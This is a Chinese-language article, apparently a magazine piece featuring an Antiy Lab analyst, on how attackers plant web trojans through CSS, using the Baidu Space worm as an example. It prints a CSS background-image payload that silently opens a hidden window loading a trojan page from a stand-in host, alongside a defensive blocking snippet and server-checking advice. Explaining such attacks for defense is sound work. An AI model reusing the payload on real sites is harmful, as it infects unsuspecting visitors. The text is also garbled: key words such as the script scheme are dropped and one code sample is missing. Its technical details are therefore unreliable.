駭客們發現發現,用來製作網頁特效的CSS代碼,也可以用來掛馬。
隨著Web2.0的普及,各種網頁特效用得越來越多,這也給駭客一個可乘之機。他們發現,用來製作網頁特效的CSS代碼,也可以用來掛馬。而比較諷刺的是,CSS掛馬方式其實是從防範E掛馬的CSS代碼演變而來。
安天實驗室阿楠:安全工程師,從事病毒分析多年。
網站掛馬的手段最初非常單一,但是隨著Web2.0技術以及Blog、Wiki等廣泛的應用,掛馬也湧現出各種各樣的技術,其中CSS掛馬方式,可以說是Web2.0時代駭客的最愛。有許多非常著名的網站都被駭客用CSS掛馬入侵過。
在我印象中,記憶最深刻的一次是百度空間CSS掛馬。當時,百度空間推出沒有多久,就有許多百度使用者收到了類似“哈,節日快樂呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/XXXXX”的站內訊息。
由於網址是百度空間的網址,許多使用者認為不會存在安全問題,加上又有可能是自己朋友發來的,因此會毫不猶豫地點擊進入。但是進入指定的網址後,使用者就會感染蠕蟲,並繼續傳播。
由於蠕蟲擴散非常嚴重,最終導致百度空間不得不發布官方聲明提醒使用者,並且大費周折地在伺服器中清除蠕蟲的惡意代碼。那一次的掛馬事件利用的就是百度空間CSS模板功能,通過變形的expression在CSS代碼中動態執行指令碼,讓指定的遠程惡意代碼檔案在後台悄悄運行並發送大量偽造資訊。
我建議大家在點擊陌生連結時,要多個心眼,大網站也是可能被掛馬的。大家在上網時,最好還是使用一些帶網頁木馬攔截功能的安全協助工具輔助。
駭客為什麼選擇CSS掛馬?
在Web1.0時代,使用E掛馬對於駭客而言,與其說是為了更好地實現木馬的隱藏,倒不如說是無可奈何的一個選擇。在簡單的HTML網頁和缺乏互動性的網站中,駭客可以利用的手段也非常有限,即使採取了複雜的偽裝,也很容易被識破,還不如E來得直接和有效。
但如今互動Web2.0網站越來越多,允許使用者佈建與修改的部落格、SNS社區等紛紛出現。這些互動性非常強的社區和部落格中,往往會提供豐富的功能,並且會允許使用者使用CSS層疊樣式表來對網站的網頁進行自由的修改,這促使了CSS掛馬流行。
小百科:
CSS是層疊樣式表(CascadingStyleSheets)的英文縮寫。CSS最主要的目的是將檔案的結構(用HTML或其他相關語言寫的)與檔案的顯示分隔開來。這個分隔可以讓檔案的可讀性得到加強、檔案的結構更加靈活。
駭客在利用CSS掛馬時,往往是藉著網民對某些大網站的信任,將CSS惡意代碼掛到部落格或者其他支援CSS的網頁中,當網民在訪問該網頁時惡意代碼就會執行。這就如同你去一家知名且證照齊全的大醫院看病,你非常信任醫院,但是你所看的門診卻已經被庸醫外包了下來,並且打著醫院的名義利用你的信任成功欺騙了你。但是當你事後去找人算賬時,醫院此時也往往一臉無辜。對於安全工程師而言,CSS掛馬的排查是必備常識。
CSS掛馬攻防實錄
攻CSS掛馬方式較多,但主流的方式是通過有漏洞的部落格或者SNS社交網站系統,將惡意的CSS代碼寫入支援CSS功能的個人化頁面中。下面我們以典型的CSS掛馬方式為例進行講解。
方式1:
Body
“background-image”在CSS中的主要功能是用來定義頁面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過“background-image”配合t代碼讓網頁木馬悄悄地在使用者的電腦中運行。
那如何將這段CSS惡意代碼掛到正常的網頁中去呢?駭客可以將產生好的網頁木馬放到自己指定的位置,然後將該段惡意代碼寫入掛馬網站的網頁中,或者掛馬網頁所調用的CSS檔案中。
小百科:
使用Body對象元素,主要是為了讓對象不再改變整個網頁文檔的內容,通過Body對象的控制,可以將內容或者效果控制在指定的大小內,如同使用DIV對象那樣精確地設定大小。
方式2:
Body
background-image: url(t:open("http://www.X.com/muma.htm","newwindow","border="1" Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no"))
方式1的CSS掛馬技術,在運行時會出現空白的頁面,影響網頁訪問者正常的訪問,因此比較容易發現。不過在方式2中的這段代碼,使用了t的Open開窗,通過新開一個隱藏的視窗,在後台悄悄地運行新視窗並啟用訪問網頁溢出木馬頁面,不會影響訪問者觀看網頁內容,因此更加隱蔽。
防網路伺服器被掛馬,通常會出現防毒軟體警示之類的資訊。由於漏洞不斷更新,掛馬種類時刻都在變換,通過用戶端的反映來探索服務器是否被掛馬往往疏漏較大。正確的做法是經常檢查伺服器日誌,發現異常資訊,經常檢查網站代碼,使用網頁木馬檢測系統,進行排查。
目前除了使用以前的阻斷快顯視窗防範CSS掛馬之外,還可以在網頁中設定CSS過濾,將CSS過濾掉。不過如果你選擇過濾CSS的話,首先需要留意自己的相關網頁是否有CSS的內容,因此我們仍然首推用阻斷方式來防範CSS。阻斷代碼如下所示:
emiao1:expression(this.src="about:blank",this.outerHTML="");
將外域的木馬代碼的src重寫成本地IE404錯誤頁面的地址,這樣,外域的t代碼不會被下載。不過阻斷方式也有天生致命的弱點,弱點的秘密我們將於下次揭曉。